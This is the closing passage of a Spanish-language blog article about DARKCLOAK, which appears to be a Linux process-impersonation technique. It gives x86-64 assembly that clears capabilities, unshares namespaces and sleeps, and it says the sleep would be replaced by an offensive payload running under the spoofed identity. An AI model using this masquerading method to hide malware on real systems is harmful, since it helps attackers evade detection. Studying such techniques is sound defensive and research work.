xor r14, r14
mov [rel datap], r14d ; datap[0].effective (caps 0-31) ← 0
mov [rel datap+12], r14d ; datap[1].effective (caps 32-63) ← 0
mov [rel datap+8], r14d ; datap[0].inheritable (caps 0-31) ← 0
mov [rel datap+20], r14d ; datap[1].inheritable (caps 32-63) ← 0
mov rax, 126 ; CAPSET
lea rdi, [rel hdrp]
lea rsi, [rel datap]
syscall
Tras esta operación el proceso no tiene capabilities activas (effective set vacío).
Fase 10: Aislamiento por namespaces¶
DARKCLOAK crea nuevos namespaces para aislar al proceso del resto del sistema:
; Aislamiento mediante namespaces
; .text
; UNSHARE
mov rax, 272
mov rdi, 0x78000000 ; CLONE_NEWUSER | CLONE_NEWPID | CLONE_NEWNET | CLONE_NEWIPC
syscall
CLONE_NEWUSER se procesa primero y otorga capabilities completas dentro del nuevo user namespace, lo que permite la creación de los otros tres (CLONE_NEWPID, CLONE_NEWNET, CLONE_NEWIPC) sin necesidad de ser root en el namespace original. El proceso queda con PID propio dentro del nuevo namespace, pila de red vacía e IPC aislado.
Fase 11: Espera y salida¶
El proceso permanece en estado de suspensión durante 120 segundos para permitir la observación de los cambios realizados. Transcurrido este intervalo, la ejecución finaliza. En una implementación ad-hoc, esta etapa sería reemplazada por el payload ofensivo, que se ejecutaría bajo la capa de identidad suplantada.
; Espera y salida
; .data
timespec:
dq 120 ; segundos
dq 0 ; nanosegundos
; .text
; NANOSLEEP
mov rax, 35
lea rdi, [rel timespec] ; 120 segundos
xor rsi, rsi
syscall
; EXIT
mov rax, 60
xor rdi, rdi
syscall
Estado Final¶
Una vez completadas las fases, todas las fuentes consultables han sido modificadas. A partir de este momento, la información visible del proceso deja de corresponder a la del estado inicial y pasa a reflejar la del proceso suplantado.

Agradecimientos¶
Gracias por llegar hasta aquí.
Si encuentras errores o quieres mejorar/ampliar el artículo, el contenido del blog está abierto a Pull Requests. Toda contribución es bienvenida.
¡Hasta la próxima serie! ;)